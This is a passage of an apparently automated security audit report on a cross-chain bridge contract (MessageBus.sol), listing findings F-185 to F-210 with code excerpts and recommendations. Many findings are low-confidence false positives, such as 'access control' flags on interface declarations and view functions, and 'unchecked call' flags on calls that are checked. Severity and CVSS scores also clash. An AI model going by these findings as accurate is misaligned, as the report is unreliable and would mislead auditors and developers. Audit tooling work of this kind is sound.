    104 |          uint64 _srcChainId,
    105 |          bytes calldata _message
    106 |      ) external payable returns (bool);
    107 |  }

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

## References

- OWASP Smart Contract Top 10

## F-185. unverified\_relay\_message

| PROPERTY          | VALUE                                                   |
|-------------------|---------------------------------------------------------|
| <b>Severity</b>   | MEDIUM                                                  |
| <b>Category</b>   |                                                         |
| <b>CVSS Score</b> | 3.1                                                     |
| <b>Confidence</b> | 33%                                                     |
| <b>Location</b>   | /home/hero/audit_workspace/flattened_MessageBus.sol:472 |
| <b>Status</b>     | Open (33% conf.)                                        |

| PROPERTY           | VALUE          |
|--------------------|----------------|
| <b>Detected By</b> | bridge_monitor |

## Description

Cross-chain message accepted without proper verification (signature, merkle proof, or oracle consensus)

## Vulnerable Code

```

467 |         pegVault = _pegVault;
468 |         pegBridgeV2 = _pegBridgeV2;
469 |         pegVaultV2 = _pegVaultV2;
470 |     }
471 |
>> 472 |     function initReceiver(
473 |         address _liquidityBridge,
474 |         address _pegBridge,
475 |         address _pegVault,
476 |         address _pegBridgeV2,
477 |         address _pegVaultV2

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Verify all relay messages with cryptographic proofs or multi-sig oracle consensus

## References

- OWASP Smart Contract Top 10

## F-186. missing\_pause\_mechanism

| PROPERTY           | VALUE                                                  |
|--------------------|--------------------------------------------------------|
| <b>Severity</b>    | MEDIUM                                                 |
| <b>Category</b>    |                                                        |
| <b>CVSS Score</b>  | 3.1                                                    |
| <b>Confidence</b>  | 33%                                                    |
| <b>Location</b>    | /home/hero/audit_workspace/flattened_MessageBus.sol:50 |
| <b>Status</b>      | Open (33% conf.)                                       |
| <b>Detected By</b> | bridge_monitor                                         |

## Description

Bridge lacks emergency pause mechanism for incident response

## Vulnerable Code

```

45 |      /**
46 |      * @notice Called by MessageBus (MessageBusReceiver) if the process is
    originated from MessageBus (MessageBusSender)'s
47 |      *      sendMessageWithTransfer it is only called when the tokens are
    checked to be arrived at this contract's address.
48 |      * @param _sender The address of the source app contract
49 |      * @param _token The address of the token that comes out of the bridge
>> 50 |      * @param _amount The amount of tokens received at this contract through
    the cross-chain bridge.
51 |      *      the contract that implements this contract can safely assume
    that the tokens will arrive before this
52 |      *      function is called.
53 |      * @param _srcChainId The source chain ID where the transfer is originated
    from
54 |      * @param _message Arbitrary message bytes originated from and encoded by
    the source app contract
55 |      */

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Implement pausable pattern with guardian/multisig emergency shutdown

## References

- OWASP Smart Contract Top 10

## F-187. deposit\_withdrawal\_imbalance

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:120 |
| Status      | Open (33% conf.)                                        |
| Detected By | bridge_monitor                                          |



## Description

Deposit and withdrawal logic may allow imbalanced operations leading to fund extraction

## Vulnerable Code

```

115 |      * @param _amount locked token amount
116 |      * @param _mintChainId destination chainId to mint tokens
117 |      * @param _mintAccount destination account to receive minted tokens
118 |      * @param _nonce user input to guarantee unique depositId
119 |      */
>> 120 |      function deposit(
121 |          address _token,
122 |          uint256 _amount,
123 |          uint64 _mintChainId,
124 |          address _mintAccount,
125 |          uint64 _nonce

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Ensure atomic deposit-lock and withdrawal-burn with balance tracking

## References

- OWASP Smart Contract Top 10

## F-188. access\_control

| PROPERTY    | VALUE                                                              |
|-------------|--------------------------------------------------------------------|
| Severity    | MEDIUM                                                             |
| Category    |                                                                    |
| CVSS Score  | 9.6                                                                |
| Confidence  | 33%                                                                |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:23 (transfers) |
| Status      | Open (33% conf.)                                                   |
| Detected By | llamaaudit                                                         |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-189. access\_control

| PROPERTY    | VALUE                                                              |
|-------------|--------------------------------------------------------------------|
| Severity    | MEDIUM                                                             |
| Category    |                                                                    |
| CVSS Score  | 9.6                                                                |
| Confidence  | 33%                                                                |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:25 (withdraws) |
| Status      | Open (33% conf.)                                                   |
| Detected By | llamaaudit                                                         |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

20 |         uint256[] calldata _powers
21 |     ) external;
22 |
23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
>> 25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-190. access\_control

| PROPERTY    | VALUE                                                               |
|-------------|---------------------------------------------------------------------|
| Severity    | MEDIUM                                                              |
| Category    |                                                                     |
| CVSS Score  | 9.6                                                                 |
| Confidence  | 33%                                                                 |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:34 (verifySigs) |
| Status      | Open (33% conf.)                                                    |
| Detected By | llamaaudit                                                          |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order
31 |      * @param _signers sorted list of current signers
32 |      * @param _powers powers of current signers
33 |      */
>> 34 |      function verifySigs(
35 |          bytes memory _msg,
36 |          bytes[] calldata _sigs,
37 |          address[] calldata _signers,
38 |          uint256[] calldata _powers
39 |      ) external view;
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-191. access\_control

| PROPERTY    | VALUE                                                                                  |
|-------------|----------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                                 |
| Category    |                                                                                        |
| CVSS Score  | 9.6                                                                                    |
| Confidence  | 33%                                                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:56<br>(executeMessageWithTransfer) |
| Status      | Open (33% conf.)                                                                       |
| Detected By | llamaaudit                                                                             |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

51 |      *      the contract that implements this contract can safely assume
that the tokens will arrive before this
52 |      *      function is called.
53 |      * @param _srcChainId The source chain ID where the transfer is originated
from
54 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
55 |      */
>> 56 |      function executeMessageWithTransfer(
57 |          address _sender,
58 |          address _token,
59 |          uint256 _amount,
60 |          uint64 _srcChainId,
61 |          bytes calldata _message

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-192. access\_control

| PROPERTY   | VALUE                                                                                          |
|------------|------------------------------------------------------------------------------------------------|
| Severity   | MEDIUM                                                                                         |
| Category   |                                                                                                |
| CVSS Score | 9.6                                                                                            |
| Confidence | 33%                                                                                            |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:76<br>(executeMessageWithTransferFallback) |
| Status     | Open (33% conf.)                                                                               |

| PROPERTY           | VALUE      |
|--------------------|------------|
| <b>Detected By</b> | llamaaudit |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

71 |      *      the contract that implements this contract can safely assume
that the tokens will arrive before this
72 |      *      function is called.
73 |      * @param _srcChainId The source chain ID where the transfer is originated
from
74 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
75 |      */
>> 76 |      function executeMessageWithTransferFallback(
77 |          address _sender,
78 |          address _token,
79 |          uint256 _amount,
80 |          uint64 _srcChainId,
81 |          bytes calldata _message

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-193. access\_control

| PROPERTY          | VALUE  |
|-------------------|--------|
| <b>Severity</b>   | MEDIUM |
| <b>Category</b>   |        |
| <b>CVSS Score</b> | 9.6    |

| PROPERTY    | VALUE                                                                                                                  |
|-------------|------------------------------------------------------------------------------------------------------------------------|
| Confidence  | 33%                                                                                                                    |
| Location    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:90</code><br><code>(executeMessageWithTransferRefund)</code> |
| Status      | Open (33% conf.)                                                                                                       |
| Detected By | llamaaudit                                                                                                             |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

85 |      * @notice Called by MessageBus (MessageBusReceiver) to process refund of
the original transfer from this contract
86 |      * @param _token The token address of the original transfer
87 |      * @param _amount The amount of the original transfer
88 |      * @param _message The same message associated with the original transfer
89 |      */
>> 90 |      function executeMessageWithTransferRefund(
91 |          address _token,
92 |          uint256 _amount,
93 |          bytes calldata _message
94 |      ) external payable returns (bool);
95 |

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (`onlyOwner`, `onlyRole`) or `require()` check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-194. access\_control

| PROPERTY | VALUE  |
|----------|--------|
| Severity | MEDIUM |

| PROPERTY           | VALUE                                                                                                 |
|--------------------|-------------------------------------------------------------------------------------------------------|
| <b>Category</b>    |                                                                                                       |
| <b>CVSS Score</b>  | 9.6                                                                                                   |
| <b>Confidence</b>  | 33%                                                                                                   |
| <b>Location</b>    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:102</code><br><code>(executeMessage)</code> |
| <b>Status</b>      | Open (33% conf.)                                                                                      |
| <b>Detected By</b> | llamaaudit                                                                                            |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

97 |      * @notice Called by MessageBus (MessageBusReceiver)
98 |      * @param _sender The address of the source app contract
99 |      * @param _srcChainId The source chain ID where the transfer is originated
from
100 |      * @param _message Arbitrary message bytes originated from and encoded by
the source app contract
101 |      */
>> 102 |      function executeMessage(
103 |          address _sender,
104 |          uint64 _srcChainId,
105 |          bytes calldata _message
106 |      ) external payable returns (bool);
107 |  }
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (`onlyOwner`, `onlyRole`) or `require()` check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10



## F-195. access\_control

| PROPERTY    | VALUE                                                             |
|-------------|-------------------------------------------------------------------|
| Severity    | MEDIUM                                                            |
| Category    |                                                                   |
| CVSS Score  | 9.6                                                               |
| Confidence  | 33%                                                               |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:128 (records) |
| Status      | Open (33% conf.)                                                  |
| Detected By | llamaaudit                                                        |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

123 |         uint64 _mintChainId,
124 |         address _mintAccount,
125 |         uint64 _nonce
126 |     ) external;
127 |
>> 128 |     function records(bytes32 recordId) external view returns (bool);
129 | }
130 |
131 | // MessageBus/src/interfaces/IOriginalTokenVaultV2.sol
132 |
133 | interface IOriginalTokenVaultV2 {

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-196. access\_control

| PROPERTY    | VALUE                                                             |
|-------------|-------------------------------------------------------------------|
| Severity    | MEDIUM                                                            |
| Category    |                                                                   |
| CVSS Score  | 9.6                                                               |
| Confidence  | 33%                                                               |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:142 (deposit) |
| Status      | Open (33% conf.)                                                  |
| Detected By | llamaaudit                                                        |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

137 |      * @param _amount locked token amount
138 |      * @param _mintChainId destination chainId to mint tokens
139 |      * @param _mintAccount destination account to receive minted tokens
140 |      * @param _nonce user input to guarantee unique depositId
141 |      */
>> 142 |      function deposit(
143 |          address _token,
144 |          uint256 _amount,
145 |          uint64 _mintChainId,
146 |          address _mintAccount,
147 |          uint64 _nonce

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-197. access\_control

| PROPERTY    | VALUE                                                          |
|-------------|----------------------------------------------------------------|
| Severity    | MEDIUM                                                         |
| Category    |                                                                |
| CVSS Score  | 9.6                                                            |
| Confidence  | 33%                                                            |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:185 (burn) |
| Status      | Open (33% conf.)                                               |
| Detected By | llamaaudit                                                     |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

180 |      * @param _amount The amount to burn.
181 |      * @param _toChainId If zero, withdraw from original vault; otherwise, the
remote chain to mint tokens.
182 |      * @param _toAccount The account to receive tokens on the remote chain
183 |      * @param _nonce A number to guarantee unique depositId. Can be timestamp
in practice.
184 |      */
>> 185 |      function burn(
186 |          address _token,
187 |          uint256 _amount,
188 |          uint64 _toChainId,
189 |          address _toAccount,
190 |          uint64 _nonce

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-198. access\_control

| PROPERTY    | VALUE                                                           |
|-------------|-----------------------------------------------------------------|
| Severity    | MEDIUM                                                          |
| Category    |                                                                 |
| CVSS Score  | 9.6                                                             |
| Confidence  | 33%                                                             |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:256 (owner) |
| Status      | Open (33% conf.)                                                |
| Detected By | llamaaudit                                                      |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

251 |     }
252 |
253 |     /**
254 |      * @dev Returns the address of the current owner.
255 |      */
>> 256 |     function owner() public view virtual returns (address) {
257 |         return _owner;
258 |     }
259 |
260 |     /**
261 |      * @dev Throws if called by any account other than the owner.
```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-199. access\_control

| PROPERTY    | VALUE                                                                 |
|-------------|-----------------------------------------------------------------------|
| Severity    | MEDIUM                                                                |
| Category    |                                                                       |
| CVSS Score  | 9.6                                                                   |
| Confidence  | 33%                                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:319 (sendMessage) |
| Status      | Open (33% conf.)                                                      |
| Detected By | llamaaudit                                                            |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

314 |      * A fee is charged in the native gas token.
315 |      * @param _receiver The address of the destination app contract.
316 |      * @param _dstChainId The destination chain ID.
317 |      * @param _message Arbitrary message bytes to be decoded by the
destination app contract.
318 |      */
>> 319 |      function sendMessage(
320 |          address _receiver,
321 |          uint256 _dstChainId,
322 |          bytes calldata _message
323 |      ) external payable {
324 |          uint256 minFee = calcFee(_message);

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-200. access\_control

| PROPERTY    | VALUE                                                                                |
|-------------|--------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                               |
| Category    |                                                                                      |
| CVSS Score  | 9.6                                                                                  |
| Confidence  | 33%                                                                                  |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:339<br>(sendMessageWithTransfer) |
| Status      | Open (33% conf.)                                                                     |
| Detected By | llamaaudit                                                                           |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

334 |      * @param _srcBridge The bridge contract to send the transfer with.
335 |      * @param _srcTransferId The transfer ID.
336 |      * @param _dstChainId The destination chain ID.
337 |      * @param _message Arbitrary message bytes to be decoded by the
destination app contract.
338 |      */
>> 339 |      function sendMessageWithTransfer(
340 |          address _receiver,
341 |          uint256 _dstChainId,
342 |          address _srcBridge,
343 |          bytes32 _srcTransferId,
344 |          bytes calldata _message

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

### References

- SWC-105

- OWASP Smart Contract Top 10

## F-201. access\_control

| PROPERTY    | VALUE                                                                 |
|-------------|-----------------------------------------------------------------------|
| Severity    | MEDIUM                                                                |
| Category    |                                                                       |
| CVSS Score  | 9.6                                                                   |
| Confidence  | 33%                                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:364 (withdrawFee) |
| Status      | Open (33% conf.)                                                      |
| Detected By | llamaaudit                                                            |

### Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

### Vulnerable Code

```

359 |      * @param _sigs The list of signatures sorted by signing addresses in
ascending order. A withdrawal must be
360 |      * signed-off by +2/3 of the sigsVerifier's current signing power to be
delivered.
361 |      * @param _signers The sorted list of signers.
362 |      * @param _powers The signing powers of the signers.
363 |      */
>> 364 |      function withdrawFee(
365 |          address _account,
366 |          uint256 _cumulativeFee,
367 |          bytes[] calldata _sigs,
368 |          address[] calldata _signers,
369 |          uint256[] calldata _powers

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-202. access\_control

| PROPERTY    | VALUE                                                             |
|-------------|-------------------------------------------------------------------|
| Severity    | MEDIUM                                                            |
| Category    |                                                                   |
| CVSS Score  | 9.6                                                               |
| Confidence  | 33%                                                               |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:385 (calcFee) |
| Status      | Open (33% conf.)                                                  |
| Detected By | llamaaudit                                                        |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```
380 | /**
381 |  * @notice Calculates the required fee for the message.
382 |  * @param _message Arbitrary message bytes to be decoded by the
destination app contract.
383 |  * @return The required fee.
384 |  */
>> 385 | function calcFee(bytes calldata _message) public view returns (uint256) {
386 |     return feeBase + _message.length * feePerByte;
387 | }
388 |
389 | // ----- Admin -----
390 |
```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.



## References

- SWC-105
- OWASP Smart Contract Top 10

## F-203. access\_control

| PROPERTY    | VALUE                                                          |
|-------------|----------------------------------------------------------------|
| Severity    | MEDIUM                                                         |
| Category    |                                                                |
| CVSS Score  | 9.6                                                            |
| Confidence  | 33%                                                            |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:810 (init) |
| Status      | Open (33% conf.)                                               |
| Detected By | llamaaudit                                                     |

## Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

## Vulnerable Code

```

805 |         MessageBusReceiver(_liquidityBridge, _pegBridge, _pegVault,
    |         _pegBridgeV2, _pegVaultV2)
806 |     {}
807 |
808 |     // this is only to be called by Proxy via delegateCall as initOwner will
require _owner is 0.
809 |     // so calling init on this contract directly will guarantee to fail
>> 810 |     function init(
811 |         address _liquidityBridge,
812 |         address _pegBridge,
813 |         address _pegVault,
814 |         address _pegBridgeV2,
815 |         address _pegVaultV2

```

## Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

## Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

## References

- SWC-105
- OWASP Smart Contract Top 10

## F-204. unchecked\_call

| PROPERTY    | VALUE                                                                 |
|-------------|-----------------------------------------------------------------------|
| Severity    | MEDIUM                                                                |
| Category    |                                                                       |
| CVSS Score  | 6.6                                                                   |
| Confidence  | 33%                                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:376 (withdrawFee) |
| Status      | Open (33% conf.)                                                      |
| Detected By | llamaaudit                                                            |

## Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

## Vulnerable Code

```
371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
>> 376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");
377 |         require(sent, "failed to withdraw fee");
378 |     }
379 |
380 |     /**
381 |     * @notice Calculates the required fee for the message.
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Always check the boolean return value of low-level calls. Use require() to ensure the call succeeded.

## References

- SWC-104
- OWASP Smart Contract Top 10

## F-205. unchecked\_call

| PROPERTY    | VALUE                                                                                   |
|-------------|-----------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                                  |
| Category    |                                                                                         |
| CVSS Score  | 6.6                                                                                     |
| Confidence  | 33%                                                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:604<br>(executeMessageWithTransfer) |
| Status      | Open (33% conf.)                                                                        |
| Detected By | llamaaudit                                                                              |

## Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

## Vulnerable Code

```
599 |  
600 |     function executeMessageWithTransfer(TransferInfo calldata _transfer, bytes  
calldata _message)  
601 |     private  
602 |     returns (bool)  
603 |     {  
>> 604 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:  
msg.value}(  
605 |             abi.encodeWithSelector(  
606 |                 IMessageReceiverApp.executeMessageWithTransfer.selector,  
607 |                 _transfer.sender,  
608 |                 _transfer.token,  
609 |                 _transfer.amount,
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Always check the boolean return value of low-level calls. Use `require()` to ensure the call succeeded.

## References

- SWC-104
- OWASP Smart Contract Top 10

## F-206. unchecked\_call

| PROPERTY    | VALUE                                                                                           |
|-------------|-------------------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                                          |
| Category    |                                                                                                 |
| CVSS Score  | 6.6                                                                                             |
| Confidence  | 33%                                                                                             |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:625<br>(executeMessageWithTransferFallback) |
| Status      | Open (33% conf.)                                                                                |
| Detected By | llamaaudit                                                                                      |

## Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

## Vulnerable Code

```

620 |
621 |     function executeMessageWithTransferFallback(TransferInfo calldata
_transfer, bytes calldata _message)
622 |         private
623 |         returns (bool)
624 |     {
>> 625 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
626 |             abi.encodeWithSelector(
627 |                 IMessageReceiverApp.executeMessageWithTransferFallback.selector,
628 |                 _transfer.sender,
629 |                 _transfer.token,
630 |                 _transfer.amount,
```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Always check the boolean return value of low-level calls. Use `require()` to ensure the call succeeded.

## References

- SWC-104
- OWASP Smart Contract Top 10

## F-207. unchecked\_call

| PROPERTY    | VALUE                                                                                         |
|-------------|-----------------------------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                                        |
| Category    |                                                                                               |
| CVSS Score  | 6.6                                                                                           |
| Confidence  | 33%                                                                                           |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:646<br>(executeMessageWithTransferRefund) |
| Status      | Open (33% conf.)                                                                              |
| Detected By | llamaaudit                                                                                    |

## Description

Return value from a low-level call, `send`, or `delegatecall` is not checked for success or failure.

## Vulnerable Code

```

641 |
642 |     function executeMessageWithTransferRefund(TransferInfo calldata _transfer,
bytes calldata _message)
643 |         private
644 |         returns (bool)
645 |     {
>> 646 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
647 |             abi.encodeWithSelector(
648 |                 IMessageReceiverApp.executeMessageWithTransferRefund.selector,
649 |                 _transfer.token,
```

```

650 |         _transfer.amount,
651 |         _message

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Always check the boolean return value of low-level calls. Use `require()` to ensure the call succeeded.

## References

- SWC-104
- OWASP Smart Contract Top 10

## F-208. unchecked\_call

| PROPERTY    | VALUE                                                                       |
|-------------|-----------------------------------------------------------------------------|
| Severity    | MEDIUM                                                                      |
| Category    |                                                                             |
| CVSS Score  | 6.6                                                                         |
| Confidence  | 33%                                                                         |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:745<br>(executeMessage) |
| Status      | Open (33% conf.)                                                            |
| Detected By | llamaaudit                                                                  |

## Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

## Vulnerable Code

```

740 |         abi.encodePacked(MsgType.MessageOnly, _route.sender,
741 |         _route.receiver, _route.srcChainId, _message)
742 |     );
743 | }
744 |     function executeMessage(RouteInfo calldata _route, bytes calldata
745 |     _message) private returns (bool) {
>> 745 |         (bool ok, bytes memory res) = address(_route.receiver).call{value:
msg.value}(

```

```

746 |         abi.encodeWithSelector(
747 |             IMessageReceiverApp.executeMessage.selector,
748 |             _route.sender,
749 |             _route.srcChainId,
750 |             _message

```

## Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

## Recommendation

Always check the boolean return value of low-level calls. Use `require()` to ensure the call succeeded.

## References

- SWC-104
- OWASP Smart Contract Top 10

## F-209. Potential Integer Overflow/Underflow

| PROPERTY    | VALUE                                                                 |
|-------------|-----------------------------------------------------------------------|
| Severity    | MEDIUM                                                                |
| Category    |                                                                       |
| CVSS Score  | 6.2                                                                   |
| Confidence  | 14%                                                                   |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:373 (withdrawFee) |
| Status      | Open (14% conf.)                                                      |
| Detected By | gptlens                                                               |

## Description

Arithmetic operation without SafeMath or Solidity  $\geq 0.8.0$  overflow protection. May allow integer overflow/underflow.

## Vulnerable Code

```

368 |         address[] calldata _signers,
369 |         uint256[] calldata _powers
370 |     ) external {
371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
>> 373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];

```

```

374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");
377 |         require(sent, "failed to withdraw fee");
378 |     }

```

## Impact Analysis

Arithmetic overflow/underflow can cause balances to wrap around, enabling attackers to mint tokens or manipulate accounting. Solidity 0.8+ has built-in overflow protection, but unchecked blocks and assembly bypass this.

## Recommendation

Review and address the integer overflow vulnerability. Refer to SWC-101 for mitigation guidance.

## References

- SWC-101
- OWASP Smart Contract Top 10

## F-210. denial\_of\_service

| PROPERTY    | VALUE                    |
|-------------|--------------------------|
| Severity    | MEDIUM                   |
| Category    |                          |
| CVSS Score  | 3.1                      |
| Confidence  | 33%                      |
| Location    | contract.sol:19          |
| Status      | Open (33% conf.)         |
| Detected By | classic-pattern-detector |

## Description

Denial of service through gas exhaustion or external call failure

## Vulnerable Code

```
// Source code not available for this finding
```
